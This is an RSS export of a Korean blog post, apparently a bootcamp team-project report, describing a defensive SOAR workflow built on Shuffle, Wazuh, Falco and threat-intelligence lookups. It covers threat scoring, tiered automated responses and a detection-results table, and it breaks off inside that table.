<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>yejiamoe 님의 블로그</title>
    <link>https://yejiamoe.tistory.com/</link>
    <description>yejiamoe 님의 블로그 입니다.</description>
    <language>ko</language>
    <pubDate>Tue, 7 Jul 2026 09:02:42 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>yejiamoe</managingEditor>
    <item>
      <title>[토스뱅크 부트캠프] 팀프로젝트 Interrupt 7주차</title>
      <link>https://yejiamoe.tistory.com/35</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;676&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8dQtw/dJMcaa5h788/KNRnSikxum6SlsLCY4b17k/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8dQtw/dJMcaa5h788/KNRnSikxum6SlsLCY4b17k/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8dQtw/dJMcaa5h788/KNRnSikxum6SlsLCY4b17k/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8dQtw%2FdJMcaa5h788%2FKNRnSikxum6SlsLCY4b17k%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;676&quot; height=&quot;676&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;676&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h1&gt;SOAR 정리&lt;/h1&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. SOAR 기반 위협 및 자동 대응 체계 구축&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6.1. Shuffle 선정 이유 및 통합 아키텍쳐 설계&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 프로젝트에서는 오픈소스 SOAR 플랫폼인 &lt;b&gt;Shuffle&lt;/b&gt;을 활용하여 보안 운영의 자동화(SecOps)를 구현했습니다. Shuffle은 워크플로우 기반의 유연한 자동화 시나리오 생성을 지원하며, Wazuh(EDR/SIEM), Falco(Cloud Native Runtime Security) 및 외부 위협 인텔리전스(TI) API와의 확장이 용이하다는 장점이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 아키텍처는 [수집(Wazuh/Falco) &amp;rarr; 정규화 및 컨텍스트 매칭(Shuffle) &amp;rarr; 다차원 분석(IP/FIM/SCA) &amp;rarr; 상관 분석 및 스코어링 &amp;rarr; 자동 대응(Slack/Block)]의 파이프라인으로 구성됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6.2. 상태유지 기반 위협 분석 및 스코어링 로직 구현&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 프로젝트의 핵심은 단일 탐지 경보에 의존하지 않고, 호스트별 과거 상태와 현재 이벤트를 결합하여 위협의 심각도를 체계적으로 산출하는 &lt;b&gt;상태유지(Stateful) 분석 체계&lt;/b&gt;를 구축하는 데 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6.2.1. 실시간 이벤트 수집 및 데이터 정규화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 운영 자동화(SecOps)의 첫 단계는 다양한 소스에서 발생하는 이기종 데이터를 일관된 형식으로 통합하는 것입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;데이터 인제스션(Ingestion):&lt;/b&gt; 워크플로우의 시작점인 &lt;b&gt;Webhook 노드&lt;/b&gt;를 통해 Falco(런타임 보안) 및 Wazuh(EDR/SIEM)로부터 발생한 JSON 형태의 Alert 데이터를 HTTP POST 방식으로 실시간 수집합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;유연한 데이터 파싱:&lt;/b&gt; safe_parse 함수를 구현하여 json.loads와 ast.literal_eval을 병행 사용함으로써, 노드 간 데이터 전달 시 발생할 수 있는 문자열과 딕셔너리 형태의 불일치를 해결하고 전체 워크플로우의 가용성을 보장합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;스키마 정규화:&lt;/b&gt; 어떤 로그 플랫폼에서 데이터가 유입되더라도 Shuffle 내부에서는 agent_cache_{id}라는 통일된 형식으로 데이터를 다룰 수 있도록 정규화하여 분석 효율성을 극대화합니다.&lt;/li&gt;
&lt;li&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7KxyG/dJMcahi4z3U/mOVcN84MfnTDUub9t44k0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7KxyG/dJMcahi4z3U/mOVcN84MfnTDUub9t44k0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7KxyG/dJMcahi4z3U/mOVcN84MfnTDUub9t44k0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7KxyG%2FdJMcahi4z3U%2FmOVcN84MfnTDUub9t44k0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;416&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6.2.2. 컨텍스트 기반(Agent_ID) 신규 침투 판별 로직&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대규모 인프라 환경에서 발생하는 중복 경보를 방지하고 공격의 연속성을 추적하기 위해 서버별 독립적인 세션 관리 로직을 적용합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;고유 식별자 생성:&lt;/b&gt; Generate_Cache_Key 노드에서 경보를 발생시킨 에이전트의 고유 ID($exec.agent.id)를 기반으로 개별 &quot;이름표&quot;를 생성합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;세션 격리 분석:&lt;/b&gt; 생성된 키를 통해 서버별로 공격 점수를 별도 산정하여, 여러 대의 서버에서 동시 공격이 발생하더라도 데이터 오염 없이 독립적인 분석이 가능하도록 설계되었습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;상태 추적(Stateful Tracking):&lt;/b&gt; Get_Session_Cache 노드는 Shuffle 데이터베이스에서 해당 서버의 이전 상태(과거 누적 점수, 기 검사된 IP/Hash 목록)를 호출하여 시나리오 기반의 위협 추적을 가능케 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6.2.3. 다차원 로그 유형 분류 및 위협 인텔리전스 (TI) 연동 (IP/&lt;s&gt;프로세스&lt;/s&gt;/파일 기반)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위협을 입체적으로 분석하기 위해 네트워크, 파일 무결성, 시스템 설정의 세 가지 차원에서 TI 연동 및 필터링을 수행합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;IP 기반 네트워크 분석:&lt;/b&gt; 로그 내 full_log 필드에서 정규표현식(Regex)을 통해 IP를 추출하고, 내부망 등 화이트리스트를 제외한 수상한 IP만을 선별하여 &lt;b&gt;AbuseIPDB&lt;/b&gt;와 같은 외부 TI에 조회합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;파일 기반(FIM) 무결성 분석:&lt;/b&gt; &lt;b&gt;Wazuh_FIM_Search&lt;/b&gt; 노드를 통해 최근 10분(now-10m)간 발생한 syscheck 로그를 Wazuh Indexer(9200 포트)에서 직접 쿼리하여 대량의 로그를 빠르게 검색합니다. 추출된 해시값은 &lt;b&gt;Filter_Old_FIM&lt;/b&gt; 노드에서 기 분석 여부를 대조하여 중복 TI 조회를 차단함으로써 API 비용과 성능을 최적화합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;구성 기반(SCA) 보안 진단:&lt;/b&gt; &lt;b&gt;Wazuh_SCA_Check&lt;/b&gt; 노드를 통해 타겟 서버의 보안 설정 점수(Compliance Rate)를 실시간 확인합니다. 설정이 취약할수록(SCA 점수가 낮을수록) 높은 우선순위를 부여하도록 점수를 반전(100 - score)하여 위험도로 변환하는 로직을 적용하였습니다.&lt;/li&gt;
&lt;li&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csa7xn/dJMcahi4z3X/y36oNXZ1PDOCkMjsgcWNW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csa7xn/dJMcahi4z3X/y36oNXZ1PDOCkMjsgcWNW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csa7xn/dJMcahi4z3X/y36oNXZ1PDOCkMjsgcWNW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcsa7xn%2FdJMcahi4z3X%2Fy36oNXZ1PDOCkMjsgcWNW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;921&quot; height=&quot;512&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6.2.4. 상관분석을 통한 데이터 통합 및 스코어링 엔진&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Final_Scoring&lt;/b&gt; 노드는 수집된 모든 증거(Evidence)를 취합하여 최종 위협 등급을 결정하는 본 시스템의 중추적 역할을 수행합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;가중치 기반 점수 산정:&lt;/b&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Falco 행위 가중치:&lt;/b&gt; 랜섬웨어 시그니처(+60), RCE 및 리버스 셸(+50) 등 치명적인 행위에 가장 높은 가중치를 부여합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;FIM 가시성 가중치:&lt;/b&gt; 해시 추적이 불가능한 파일 변경에 대해서는 은닉 시도로 간주하여 추가 가중치(+10)를 부여합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;TI 평판 점수:&lt;/b&gt; AbuseIPDB의 확신도 점수를 그대로 합산하여 반영합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SCA 컨텍스트 가중치:&lt;/b&gt; 시스템의 취약도(sca_risk)에 가중치 0.3을 곱하여 최종 점수에 반영함으로써, 보안이 취약한 서버에서 발생한 공격에 더 높은 기민성을 제공합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;임계치별 등급 판정:&lt;/b&gt; 누적 점수에 따라 &lt;b&gt;Critical(100점 이상)&lt;/b&gt;, &lt;b&gt;High(70점 이상)&lt;/b&gt; 등으로 등급을 세분화하여 자동 대응의 당위성을 확보합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6.2.5. Cache 기반 상태 업데이트 및 대응 당위성 검토 (MISP)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1200&quot; data-origin-height=&quot;911&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dByA2H/dJMcadASAhr/ymyKRbKNDK8zOV73Qbk38K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dByA2H/dJMcadASAhr/ymyKRbKNDK8zOV73Qbk38K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dByA2H/dJMcadASAhr/ymyKRbKNDK8zOV73Qbk38K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdByA2H%2FdJMcadASAhr%2FymyKRbKNDK8zOV73Qbk38K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1200&quot; height=&quot;911&quot; data-origin-width=&quot;1200&quot; data-origin-height=&quot;911&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 워크플로우의 종단 단계인 이 프로세스는 단순한 결과 기록을 넘어, '분석의 연속성 보장'과 '자동 대응의 신뢰성 확보'라는 두 가지 핵심 가치를 실현합니다. 이 로직이 보안 관제 아키텍처 측면에서 우수한 이유는 다음과 같습니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;사이버 킬 체인(Cyber Kill Chain) 기반의 연속적 가시성 확보&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;로직의 타당성&lt;/b&gt;: Set_Session_Cache 노드는 현재까지의 final_score와 업데이트된 checked_ips, updated_hashes를 Shuffle DB에 재저장합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;설계의 우수성&lt;/b&gt;: 대부분의 보안 시스템이 개별 이벤트 단위로만 동작하여 공격의 전조 현상을 놓치는 반면, 본 로직은 파편화된 경보들을 하나의 '공격 세션'으로 묶어 관리합니다. 이를 통해 낮은 점수의 정찰 행위가 치명적인 침투 행위로 이어지는 과정을 누적 스코어링으로 추적하여, 단일 탐지로는 파악하기 어려운 지능형 지속 위협(APT)에 효과적으로 대응할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;자원 최적화 및 알람 피로도(Alert Fatigue)의 획기적 감소&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;273&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HH5o7/dJMcaioJG7X/VSowZ9LzOShK9QRXpD4Fu0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HH5o7/dJMcaioJG7X/VSowZ9LzOShK9QRXpD4Fu0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HH5o7/dJMcaioJG7X/VSowZ9LzOShK9QRXpD4Fu0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHH5o7%2FdJMcaioJG7X%2FVSowZ9LzOShK9QRXpD4Fu0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;273&quot; height=&quot;184&quot; data-origin-width=&quot;273&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;로직의 타당성&lt;/b&gt;: 캐시에 저장된 checked_ips와 updated_hashes를 통해 다음 분석 주기에서 중복된 정보를 필터링합니다 .&lt;/li&gt;
&lt;li&gt;&lt;b&gt;설계의 우수성&lt;/b&gt;: 무분별한 외부 TI(AbuseIPDB, MISP 등) 조회를 차단함으로써 API 쿼리 비용을 절감하고 전체 워크플로우의 실행 속도를 높입니다. 또한, 동일한 공격 소스에 대해 반복적인 알람이 발생하는 것을 방지하여 보안 요원이 실제 'Critical' 등급의 위협에만 집중할 수 있는 환경을 제공합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;다중 검증을 통한 자동 대응의 당위성(Justification) 수립&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;로직의 타당성&lt;/b&gt;: 최종 대응 직전, MISP_Search를 통해 알려진 공격 지표(IOC)와의 매칭 여부를 최종 검토합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;설계의 우수성&lt;/b&gt;: 네트워크 격리(90점&amp;uarr;)나 IP 차단(70점&amp;uarr;)과 같은 강력한 자동 조치는 자칫 오탐(False Positive)으로 인한 서비스 중단을 초래할 수 있습니다. 본 로직은 내부 스코어링 엔진의 결과에 공신력 있는 외부 위협 정보(MISP)를 결합하는 &lt;b&gt;'이중 확증(Double Confirmation)'&lt;/b&gt; 절차를 거침으로써, 자동 대응 수행에 대한 명확한 기술적 근거와 당위성을 부여합니다 .&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6.3. 위험 임계치별 단계적 자동 대응&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 시스템은 Final_Scoring 엔진에서 산출된 최종 점수(final_score)를 기준으로 위협 등급을 분류하며, 각 등급에 최적화된 대응 파이프라인을 가동합니다. 이는 오탐으로 인한 서비스 가동 중단 리스크를 최소화하는 동시에, 치명적인 위협에 대해서는 초동 조치 시간(MTTR)을 획기적으로 단축하는 것을 목표로 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6.3.1. Critical (90점 이상) : 네트워크 격리&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격의 확실성이 매우 높고 시스템에 치명적인 영향을 미칠 수 있는 상태로 판단될 때 발동됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;대응 로직&lt;/b&gt;: risk_level이 &lt;b&gt;CRITICAL&lt;/b&gt;로 판정되면 시스템은 가장 강력한 보호 조치를 취합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주요 조치 (Network Isolation)&lt;/b&gt;: Wazuh 에이전트 기능을 활용하여 해당 서버의 &lt;b&gt;네트워크를 즉시 격리&lt;/b&gt;하고, 침해와 관련된 악성 **프로세스를 강제 종료(Kill)**합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시각적 가이드&lt;/b&gt;: 관리자에게 전송되는 Slack 메시지는 &lt;b&gt;강렬한 빨강(#ff0000)&lt;/b&gt; 색상으로 표시되어 최우선 순위 조치가 필요함을 알립니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6.3.2. High (70점 이상) : IP 차단&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 침투 시도가 명확하며 외부 TI(위협 인텔리전스)를 통해 악성 활동이 입증된 경우입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;대응 로직&lt;/b&gt;: final_score가 70점 이상 90점 미만일 때 발동되는 등급입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주요 조치 (IP Blocking)&lt;/b&gt;: 탐지된 공격자의 외부 IP 주소를 방화벽(Firewall App)이나 보안 그룹 설정에 자동 등록하여 &lt;b&gt;해당 IP로부터의 모든 유입을 차단&lt;/b&gt;합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;운영 가이드&lt;/b&gt;: 상세 로그 분석을 병행할 것을 권고하는 가이드와 함께 &lt;b&gt;주황(#ff9900)&lt;/b&gt; 색상의 알람을 전송합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6.3.3. Warning (40점 이상) : Slack 알람 발송&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잠재적인 위협 징후가 포착되었으나 즉각적인 자동 차단보다는 관제자의 모니터링이 필요한 단계입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;대응 로직&lt;/b&gt;: 초기 침투 시도나 정찰 활동(Reconnaissance) 등이 감지되어 누적 점수가 40점을 넘어설 때 발동합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주요 조치 (Slack Alerting)&lt;/b&gt;: 분석된 위협의 상세 내용(IP 정보, 파일 변경 이력 등)을 요약하여 &lt;b&gt;Slack 채널로 즉시 전송&lt;/b&gt;합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;운영 가이드&lt;/b&gt;: 의심스러운 활동에 대한 모니터링 강화를 지시하며, &lt;b&gt;노랑(#f2c744)&lt;/b&gt; 색상의 리포트를 생성하여 시인성을 확보합니다.&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;329&quot; data-origin-height=&quot;153&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FWDQT/dJMcaiCecs7/38tDMKJjLq6RIyclkUa9Z1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FWDQT/dJMcaiCecs7/38tDMKJjLq6RIyclkUa9Z1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FWDQT/dJMcaiCecs7/38tDMKJjLq6RIyclkUa9Z1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFWDQT%2FdJMcaiCecs7%2F38tDMKJjLq6RIyclkUa9Z1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;329&quot; height=&quot;153&quot; data-origin-width=&quot;329&quot; data-origin-height=&quot;153&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7. 프로젝트 결과 및 성과 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7.1. 시나리오별 탐지 및 대응 성공률 평가&lt;/b&gt; 본 프로젝트에서 구축한 SOAR(Security Orchestration, Automation and Response) 체계의 실효성을 검증하기 위해, 설계된 &lt;b&gt;Falco 룰&lt;/b&gt;과 &lt;b&gt;Wazuh 에이전트&lt;/b&gt;가 공격의 생애주기(Cyber Kill Chain) 전 과정을 얼마나 정밀하게 포착하는지 정량적으로 평가하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7.1.1. 평가 지표 정의 (Evaluation Metrics)&lt;/b&gt; 탐지 및 대응의 성능을 객관적으로 측정하기 위해 다음과 같은 세 가지 지표를 수립하였습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;TDR (True Detection Rate, 탐지 성공률):&lt;/b&gt; 준비된 공격 시나리오의 전체 단계 중 시스템이 유의미한 경보를 발생시킨 단계의 비율입니다.&lt;/li&gt;
&lt;li&gt;$TDR = \left( \frac{\text{탐지된 공격 단계 수}}{\text{전체 공격 시나리오 단계 수}} \right) \times 100$&lt;/li&gt;
&lt;li&gt;&lt;b&gt;False Positive (FP, 오탐) 발생 건수:&lt;/b&gt; 정상적인 Node.js 서비스 운영 및 관리 활동 중 보안 룰이 잘못 트리거된 횟수입니다. 시스템의 신뢰도를 측정하는 지표로 활용됩니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Detection Lag (탐지 지연 시간):&lt;/b&gt; 공격 발생 시점부터 Shuffle 워크플로우를 거쳐 최종 판단 결과가 도출되기까지의 소요 시간입니다.&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bULLfa/dJMcafyMCVa/Br9w15yciNbOgwsB4Phw10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bULLfa/dJMcafyMCVa/Br9w15yciNbOgwsB4Phw10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bULLfa/dJMcafyMCVa/Br9w15yciNbOgwsB4Phw10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbULLfa%2FdJMcafyMCVa%2FBr9w15yciNbOgwsB4Phw10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;768&quot; height=&quot;528&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7.1.2. 시나리오별 실증 테스트 결과&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주요 위협 시나리오인 역직렬화 공격, 랜섬웨어 행위, 권한 상승 및 내부망 이동에 대한 테스트 결과는 다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시나리오 ID 공격 유형 탐지율 (TDR) 대응 성공률 오탐 수 (FP) 최종 판정&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SC-01&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;역직렬화 기반 Remote Shell&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;0건&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Success&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SC-02&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Ransomware 행위 (FIM)&lt;/td&gt;
&lt;td&gt;85%&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;1건&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Success&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SC-03&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;권한 상승 및 내부망 이동&lt;/td&gt;
&lt;td&gt;90%&lt;/td&gt;
&lt;td&gt;80%&lt;/td&gt;
&lt;td&gt;2건&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Partial&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
